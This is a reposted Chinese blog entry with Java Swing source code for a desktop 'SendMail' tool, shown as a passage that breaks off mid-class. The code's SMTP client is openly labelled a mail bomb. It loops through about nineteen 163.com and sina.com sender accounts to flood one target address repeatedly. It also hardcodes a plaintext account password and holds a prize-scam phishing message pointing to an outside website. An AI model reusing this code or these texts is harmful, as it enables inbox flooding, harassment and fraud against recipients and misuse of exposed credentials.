Swing-email(转)

  1. 云栖社区>
  2. 博客列表>
  3. 正文

Swing-email(转)

developerguy 2015-05-26 10:38:00 浏览414 评论0

摘要: 项目结构: 运行效果: 如果你感兴趣,请不要那我的邮箱做测试!!!! ========================================================== 下面是代码部分 ============================...

 

项目结构:

运行效果:

如果你感兴趣,请不要那我的邮箱做测试!!!!

==========================================================

下面是代码部分

==========================================================

/SendMail/src/com/b510/sendmail/main/SendMailMain.java

复制代码
 1 package com.b510.sendmail.main;
 2 
 3 import com.b510.sendmail.ui.SendMailUI;
 4 
 5 /**
 6  * @author Hongten
 7  * 
 8  * @time 2012-4-4 2012
 9  */
10 public class SendMailMain {
11     public static void main(String[] args) {
12         SendMailUI sendMailUI = new SendMailUI("send E-Mail");
13     }
14 }
复制代码

/SendMail/src/com/b510/sendmail/ui/MyTray.java

复制代码
  1 package com.b510.sendmail.ui;
  2 
  3 import java.awt.AWTException;
  4 import java.awt.Image;
  5 import java.awt.MenuItem;
  6 import java.awt.PopupMenu;
  7 import java.awt.SystemTray;
  8 import java.awt.TrayIcon;
  9 import java.awt.event.ActionEvent;
 10 import java.awt.event.ActionListener;
 11 import java.awt.event.MouseEvent;
 12 import java.awt.event.MouseListener;
 13 
 14 import javax.swing.ImageIcon;
 15 import javax.swing.JFrame;
 16 
 17 public class MyTray implements ActionListener, MouseListener {
 18     private Image icon;// 图标
 19     private TrayIcon trayIcon;
 20     private SystemTray systemTray;// 系统托盘
 21 
 22     private SendMailUI sendMailUI; // 托盘所属主窗体
 23     private PopupMenu pop = new PopupMenu(); // 弹出菜单
 24     // 菜单选项
 25     /** 还原 */
 26     private MenuItem open = new MenuItem("Restore");
 27     /** 退出*/
 28     private MenuItem exit =new MenuItem("Exit");
 29     public MyTray(SendMailUI sendMailUI) {
 30         this.sendMailUI = sendMailUI;
 31         // 得到托盘的图标
 32         icon = new ImageIcon(this.getClass().getClassLoader().getResource(
 33                 "resources/mytray.png")).getImage();
 34 
 35         if (SystemTray.isSupported()) {
 36             systemTray = SystemTray.getSystemTray();
 37             // 设置鼠标经过图标时,显示的内容
 38             trayIcon = new TrayIcon(icon, "YouSiNi", pop);
 39             pop.add(open);
 40             pop.add(exit);
 41             // 添加系统托盘
 42             try {
 43                 systemTray.add(trayIcon);
 44             } catch (AWTException e1) {
 45                 e1.printStackTrace();
 46                 trayIcon.addMouseListener(this);
 47             }
 48         }
 49         trayIcon.addMouseListener(this);
 50         exit.addActionListener(this);
 51         open.addActionListener(this);
 52     }
 53 
 54     @Override
 55     public void actionPerformed(ActionEvent e) {
 56         if(e.getSource()==exit){
 57             //退出系统
 58             System.exit(0);
 59         }else if (e.getSource() == open) {
 60             // 单点击菜单中的"还原"选项时,还原窗口
 61             sendMailUI.iconed = false;
 62             friendListSet(true);
 63         } 
 64     }
 65 
 66     @Override
 67     public void mouseClicked(MouseEvent e) {
 68         // 但鼠标点击一次的时候,进行弹出窗口
 69         if (e.getClickCount() == 1 && e.getButton() != MouseEvent.BUTTON3) {
 70             if (!sendMailUI.isVisible()) {
 71                 friendListSet(true);
 72             } else {
 73                 friendListSet(false);
 74             }
 75         }
 76         // 但鼠标点击两次的时候,进行弹出窗口
 77         // 如果窗口有显示,则隐藏窗口,否则显示窗口
 78         if (e.getClickCount() == 2 && e.getButton() != MouseEvent.BUTTON3) {
 79             if (!sendMailUI.isVisible()) {
 80                 friendListSet(true);
 81             } else {
 82                 friendListSet(false);
 83             }
 84         }
 85     }
 86 
 87     /**
 88      * 设置friendList的可见性
 89      */
 90     private void friendListSet(boolean flag) {
 91         sendMailUI.setVisible(true);
 92         sendMailUI.setExtendedState(JFrame.NORMAL);
 93     }
 94 
 95     @Override
 96     public void mouseEntered(MouseEvent arg0) {
 97         // TODO Auto-generated method stub
 98 
 99     }
100 
101     @Override
102     public void mouseExited(MouseEvent arg0) {
103         // TODO Auto-generated method stub
104 
105     }
106 
107     @Override
108     public void mousePressed(MouseEvent arg0) {
109         // TODO Auto-generated method stub
110 
111     }
112 
113     @Override
114     public void mouseReleased(MouseEvent arg0) {
115         // TODO Auto-generated method stub
116 
117     }
118 }
复制代码

/SendMail/src/com/b510/sendmail/ui/SendMailUI.java

复制代码
  1 package com.b510.sendmail.ui;
  2 
  3 import java.awt.Graphics;
  4 import java.awt.event.ActionEvent;
  5 import java.awt.event.ActionListener;
  6 import java.awt.event.WindowAdapter;
  7 import java.awt.event.WindowEvent;
  8 import java.io.BufferedReader;
  9 import java.io.BufferedWriter;
 10 import java.io.IOException;
 11 import java.io.InputStreamReader;
 12 import java.io.OutputStreamWriter;
 13 import java.net.Socket;
 14 import java.net.SocketException;
 15 import java.net.UnknownHostException;
 16 import java.util.StringTokenizer;
 17 import java.util.regex.Matcher;
 18 import java.util.regex.Pattern;
 19 
 20 import javax.swing.ImageIcon;
 21 import javax.swing.JFrame;
 22 import javax.swing.JOptionPane;
 23 import javax.swing.JPanel;
 24 
 25 import sun.misc.BASE64Encoder;
 26 
 27 import com.b510.sendmail.utils.AboutSendmail;
 28 import com.b510.sendmail.utils.MailMessage;
 29 
 30 /**
 31  * 
 32  * @author Hongten
 33  */
 34 public class SendMailUI extends JFrame implements ActionListener {
 35 
 36     private static javax.swing.JTextArea infoShow;
 37     private javax.swing.JScrollPane jScrollPane1;
 38     private javax.swing.JPanel mainPanel;
 39     private javax.swing.JMenuBar menuBar;
 40     private javax.swing.JButton send;
 41     private javax.swing.JProgressBar showTime;
 42     private javax.swing.JTextField targetmail;
 43     javax.swing.JMenu fileMenu;
 44     javax.swing.JMenuItem exitMenuItem;
 45     javax.swing.JMenu helpMenu;
 46     javax.swing.JMenuItem aboutMenuItem;
 47     private static boolean flag;
 48     private static int number = 266;
 49     private int i = 0;
 50     private AboutSendmail aboutSendmail;
 51     /**
 52      * 定义图盘图盘标志
 53      */
 54     public boolean iconed = false;
 55     /** 定义托盘 */
 56     MyTray myTray;
 57 
 58     /**
 59      * 版本号
 60      */
 61     private static final long serialVersionUID = -6601825053136983041L;
 62 
 63     public SendMailUI(String title) {
 64         this.setTitle(title);
 65         init();
 66     }
 67 
 68     /**
 69      * 主界面初始化
 70      */
 71     public void init() {
 72 
 73         mainPanel = new JPanel() {
 74             private static final long serialVersionUID = 1L;
 75 
 76             protected void paintComponent(Graphics g) {
 77                 ImageIcon icon = new ImageIcon("src/resources/mail_bg.png");
 78                 g.drawImage(icon.getImage(), 0, 0, 700, 430, null);
 79             }
 80         };
 81 
 82         targetmail = new javax.swing.JTextField();
 83         send = new javax.swing.JButton();
 84         jScrollPane1 = new javax.swing.JScrollPane();
 85         infoShow = new javax.swing.JTextArea();
 86         menuBar = new javax.swing.JMenuBar();
 87         fileMenu = new javax.swing.JMenu();
 88         exitMenuItem = new javax.swing.JMenuItem();
 89         helpMenu = new javax.swing.JMenu();
 90         aboutMenuItem = new javax.swing.JMenuItem();
 91         // 设置为0到180,即180s,3分钟
 92         showTime = new javax.swing.JProgressBar(0, number);
 93         aboutSendmail = new AboutSendmail("关于软件");
 94         aboutSendmail.setVisible(false);
 95 
 96         // 是否在进度条上显示字符
 97         showTime.setStringPainted(true);
 98 
 99         mainPanel.setName("mainPanel"); // NOI18N
100 
101         targetmail.setName("targetmail"); // NOI18N
102         //targetmail.setText("hongtenzone@foxmail.com");
103 
104         send.setText("send"); // NOI18N
105         send.setName("send"); // NOI18N
106         send.setEnabled(false);
107         send.addActionListener(this);
108 
109         jScrollPane1.setName("jScrollPane1"); // NOI18N
110 
111         infoShow.setColumns(20);
112         infoShow.setRows(5);
113         infoShow.setName("infoShow"); // NOI18N
114         jScrollPane1.setViewportView(infoShow);
115         // 初始化布局
116         initComponent();
117 
118         menuBar.setName("menuBar"); // NOI18N
119 
120         fileMenu.setName("fileMenu"); // NOI18N
121         fileMenu.setText("file");
122 
123         exitMenuItem.setText("exit");
124         fileMenu.add(exitMenuItem);
125         exitMenuItem.addActionListener(this);
126 
127         menuBar.add(fileMenu);
128 
129         helpMenu.setText("help"); // NOI18N
130         helpMenu.setName("helpMenu"); // NOI18N
131 
132         aboutMenuItem.setText("about");
133         helpMenu.add(aboutMenuItem);
134         aboutMenuItem.addActionListener(this);
135 
136         menuBar.add(helpMenu);
137 
138         this.add(mainPanel);
139         setJMenuBar(menuBar);
140 
141         this.setVisible(true);
142         this.setSize(700, 485);
143         // 启动进度条记时监听器
144         timeCardListener();
145         // 启动邮箱输入框监听器
146         myListener();
147         // this.pack();
148         this.setLocationRelativeTo(null);
149         this.setResizable(false);
150         // this.setLocation(470, 250);
151         // this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
152         // 当点击"-"最小化按钮时,系统会最小化到托盘
153         addWindowListener(new WindowAdapter() {
154             public void windowIconified(WindowEvent e) {
155                 iconed = true;
156                 setVisible(false);
157             }
158 
159             public void windowClosing(WindowEvent e) {
160                 // 当点击"X"关闭窗口按钮时,会询问用户是否要最小化到托盘
161                 // 是,表示最小化到托盘,否,表示退出
162                 int option = JOptionPane.showConfirmDialog(SendMailUI.this,
163                         "是否最小化到托盘?", "提示:", JOptionPane.YES_NO_OPTION);
164                 if (option == JOptionPane.YES_OPTION) {
165                     iconed = true;
166                     SendMailUI.this.setVisible(false);
167                 } else {
168                     System.exit(0);
169                 }
170             }
171         });
172         // 初始化自定义托盘
173         myTray = new MyTray(SendMailUI.this);
174 
175     }
176 
177     /**
178      * 布局文件,没有必要去管他
179      */
180     private void initComponent() {
181         javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(
182                 mainPanel);
183         mainPanel.setLayout(mainPanelLayout);
184         mainPanelLayout
185                 .setHorizontalGroup(mainPanelLayout
186                         .createParallelGroup(
187                                 javax.swing.GroupLayout.Alignment.LEADING)
188                         .addGroup(
189                                 mainPanelLayout
190                                         .createSequentialGroup()
191                                         .addGap(52, 54, 54)
192                                         .addGroup(
193                                                 mainPanelLayout
194                                                         .createParallelGroup(
195                                                                 javax.swing.GroupLayout.Alignment.LEADING,
196                                                                 false)
197                                                         .addGroup(
198                                                                 mainPanelLayout
199                                                                         .createSequentialGroup()
200                                                                         .addComponent(
201                                                                                 targetmail,
202                                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
203                                                                                 170,
204                                                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
205                                                                         .addGap(
206                                                                                 34,
207                                                                                 34,
208                                                                                 37)
209                                                                         .addComponent(
210                                                                                 send))
211                                                         .addComponent(
212                                                                 jScrollPane1,
213                                                                 javax.swing.GroupLayout.Alignment.TRAILING,
214                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
215                                                                 620,
216                                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
217                                                         .addGroup(
218                                                                 mainPanelLayout
219                                                                         .createSequentialGroup()
220                                                                         .addGap(
221                                                                                 463,
222                                                                                 463,
223                                                                                 463)
224                                                                         .addComponent(
225                                                                                 showTime,
226                                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
227                                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
228                                                                                 Short.MAX_VALUE)))
229                                         .addContainerGap(30, Short.MAX_VALUE)));
230         mainPanelLayout
231                 .setVerticalGroup(mainPanelLayout
232                         .createParallelGroup(
233                                 javax.swing.GroupLayout.Alignment.LEADING)
234                         .addGroup(
235                                 mainPanelLayout
236                                         .createSequentialGroup()
237                                         .addContainerGap()
238                                         .addGroup(
239                                                 mainPanelLayout
240                                                         .createParallelGroup(
241                                                                 javax.swing.GroupLayout.Alignment.TRAILING)
242                                                         .addComponent(send)
243                                                         .addComponent(
244                                                                 targetmail,
245                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
246                                                                 30,
247                                                                 javax.swing.GroupLayout.PREFERRED_SIZE))
248                                         .addGap(30, 43, 43)
249                                         .addComponent(
250                                                 showTime,
251                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
252                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
253                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
254                                         .addPreferredGap(
255                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
256                                         .addComponent(
257                                                 jScrollPane1,
258                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
259                                                 313,
260                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
261                                         .addGap(15, 15, 15)));
262     }
263 
264     // 进度条记时
265     public void timeCard(final boolean flag) {
266         new Thread(new Runnable() {// 设置一个线程
267                     public void run() {
268                         if (flag) {
269                             while (i < number) {
270                                 try {
271                                     Thread.sleep((long) (1000 * 7.7));
272                                 } catch (Exception e) {
273                                     e.printStackTrace();
274                                 }
275                                 showTime.setValue(i++);
276                             }
277                         } else {
278                             i = 0;
279                             showTime.setValue(0);
280 
281                         }
282                     }
283                 }).start();
284     }
285 
286     // 进度条记时
287     public void timeCardListener() {
288         new Thread(new Runnable() {// 设置一个线程
289                     public void run() {
290                         while (true) {
291                             try {
292                                 Thread.sleep((long) (1000 * 7.7));
293                             } catch (Exception e) {
294                                 e.printStackTrace();
295                             }
296                             timeCard(flag);
297                         }
298                     }
299                 }).start();
300     }
301 
302     @Override
303     public void actionPerformed(ActionEvent e) {
304         if (e.getSource() == send) {
305             infoShow.append("请耐心等待...\n");
306             new SendMail().sendMailListener(targetmail.getText());
307         }
308         // 退出程序
309         if (e.getSource() == exitMenuItem) {
310             System.exit(0);
311         }
312         if (e.getSource() == aboutMenuItem) {
313             aboutSendmail.setVisible(true);
314         }
315     }
316 
317     /**
318      * STMP邮箱客户端,用于邮件发送和接收的管理
319      * 
320      * @author Hongten
321      * 
322      * @time 2012-4-4 2012
323      */
324     static class SMTPClient {
325 
326         static final String server_mail = "smtp.163.com";
327         static final String server_mail_sina = "smtp.sina.com";
328         static final String subject_mail = "邮件炸弹";
329         static final String content_mail = "这是邮件炸弹";
330         //这里是邮箱密码,如果大家在发邮件的,最好自己去注册一下.....你懂的...sina的和163邮箱使用同一个密码....^_^
331         static final String password_mail = "PANDER521521mail";
332         static int k = 1;
333 
334         static final String content = "尊敬的邮箱用户:\n您好!您的账号已被抽选为本次活动的二等奖用户。您将获得由本公司送出的惊喜奖金66000元以及赞助商三星公司送出的三星Q40笔记本电脑一台!\n请您收到信息后立即复制登陆活动网站: www.qqt139.com 领取,您的获奖验证码为【6558】。请确记您的个人验证码。\n 注:为了确保您的幸运资格不被冒领,请及时查看邮件。否则此邮件自动转入垃圾信箱等待查收!从收到邮件5日内有效.";
335         static final String content1 = "你好,当你收到这个邮件的时候,说明你...嘿嘿...你懂的";
336         private boolean debug = true;
337         BASE64Encoder encode = new BASE64Encoder();// 用于加密后发送用户名和密码
338 
339         /**
340          * 发送邮件
341          * 
342          * @throws UnknownHostException
343          *             未知异常
344          * @throws IOException
345          *             i/o异常
346          */
347         public static void sendMail(String targetMail)
348                 throws UnknownHostException, IOException {
349             for (int j = 1; j < 4; j++) {
350                 for (int i = 1; i < 10; i++) {
351                     MailMessage message = new MailMessage();
352                     message.setFrom("pandermail0" + i + "@163.com");// 发件人
353                     message.setTo(targetMail);// 收件人
354                     String server = server_mail;// 邮件服务器
355                     message.setSubject("有一封新的信息,請查收!");// 邮件主题
356                     message.setContent(content1);// 邮件内容
357                     message.setDatafrom("pandermail0" + i + "@163.com");// 发件人,在邮件的发件人栏目中显示
358                     message.setDatato(targetMail);// 收件人,在邮件的收件人栏目中显示
359                     message.setUser("pandermail0" + i);// 登陆邮箱的用户名
360                     message.setPassword(password_mail);// 登陆邮箱的密码
361 
362                     SMTPClient smtp = new SMTPClient(server, 25);
363 
364                     boolean flag;
365                     flag = smtp.sendMail(message, server);
366 
367                     if (flag) {
368                         SendMailUI.infoShow.append("这是第 " + i + " 封邮件,"
369                                 + "邮件发送成功!\n");
370                     } else {
371                         SendMailUI.infoShow.append("邮件发送失败!\n");
372                     }
373                 }
374                 for (int i = 1; i < 11; i++) {
375                     MailMessage message = new MailMessage();
376                     // pandermail1@sina.com
377                     message.setFrom("pandermail" + i + "@sina.com");
378                     message.setTo(targetMail);// 收件人
379                     String server = server_mail_sina;// 邮件服务器
380                     message.setSubject("亚马逊");// 邮件主题
381                     message.setContent(content1);// 邮件内容
382                     message.setDatafrom("pandermail" + i + "@sina.com");// 发件人,在邮件的发件人栏目中显示
383                     message.setDatato(targetMail);// 收件人,在邮件的收件人栏目中显示
384                     message.setUser("pandermail" + i);// 登陆邮箱的用户名
385                     message.setPassword(password_mail);// 登陆邮箱的密码
386 
387                     SMTPClient smtp = new SMTPClient(server, 25);
388 
389                     boolean flag;
390                     flag = smtp.sendMail(message, server);
391 
392                     if (flag) {
393                         SendMailUI.infoShow.append("这是第 " + (i + 9) + " 封邮件,"
394                                 + "邮件发送成功!\n");
395                     } else {
396                         SendMailUI.infoShow.append("邮件发送失败!\n");
397                     }
398                 }
399             }
400             SendMailUI.infoShow
401                     .append("==========================================================\n");
402             SendMailUI.infoShow.append("===================== 这是第 [ " + (k++)
403                     + " ] 轮结束  =====================\n");
404         }
405 
406         private Socket socket;
407 
408         public SMTPClient(String server, int port) 

用云栖社区APP,舒服~

【云栖快讯】诚邀你用自己的技术能力来用心回答每一个问题,通过回答传承技术知识、经验、心得,问答专家期待你加入!  详情请点击

网友评论

developerguy
文章3245篇 | 关注51
关注
是为多媒体数据提供的转码计算服务。它以经济、弹性和高可扩展的音视频转换方法,将多媒体数据转码... 查看详情
集音视频上传、自动化转码处理、媒体资源管理、分发加速于一体的一站式音视频点播解决方案。 查看详情
基于领先的内容接入与分发网络和大规模分布式实时转码技术打造的音视频直播平台,提供便捷接入、高... 查看详情
为您提供简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效... 查看详情
阿里云总监课正式启航

阿里云总监课正式启航